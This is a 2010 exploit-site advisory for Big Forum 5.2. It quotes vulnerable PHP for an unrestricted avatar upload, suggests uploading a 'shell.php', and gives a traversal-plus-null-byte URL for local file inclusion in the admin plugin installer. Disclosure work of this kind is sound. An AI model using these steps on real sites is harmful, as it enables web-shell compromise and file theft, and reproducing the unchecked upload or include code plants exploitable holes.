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Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability

Posted on 24 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Big Forum 5.2v Arbitrary File Upload &amp; LFI Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================
Big Forum 5.2v Arbitrary File Upload &amp; LFI Vulnerability
========================================================


=&gt; Big Forum 5.2v Arbitrary File Upload &amp; Local File Inclusion Vulnerability
=&gt; Author    : Zer0 Thunder
=&gt; Home      : http://colombohackers.com
=&gt; Download  : http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download
=&gt; Date  : 06/24/2010
 
 
 
Arbitrary File Upload
---------------------
 
 
 
Vuln C0de
 
=============================================================================================================
 
   if($_FILES['datei']['size'] &lt;  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], &quot;images/avatar/&quot;.$_FILES['datei']['name']);
      echo &quot;Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.&quot;;
      $pfad = $_FILES['datei']['name'];
      mysql_query(&quot;UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '&quot;. USER .&quot;'&quot;);
      }
 
you will have to register before doing this
 
=============================================================================================================
 
 
Vuln Page link : http://localhost/bf/main.php?do=ava  
(Upload the shell.php or shell.jpg.php )
 
 
 
 
 
Local File Inclusion
--------------------
 
 
=============================================================================================================
if($_GET[&quot;aktion&quot;] == &quot;install&quot;)
  {
    $path = &quot;../includes/plugins/$_GET[datei]&quot;;
    include($path);
    plugin_install($kurzc, $_GET[&quot;datei&quot;]);
    echo &quot;Danke, der Mod wurde erfolgreich installiert.&quot;;
    exit;
  }
 
 
=============================================================================================================
 
 
http://localhost/bf/admin/admin.php?do=mods&amp;aktion=install&amp;datei=../../../../../boot.ini%00


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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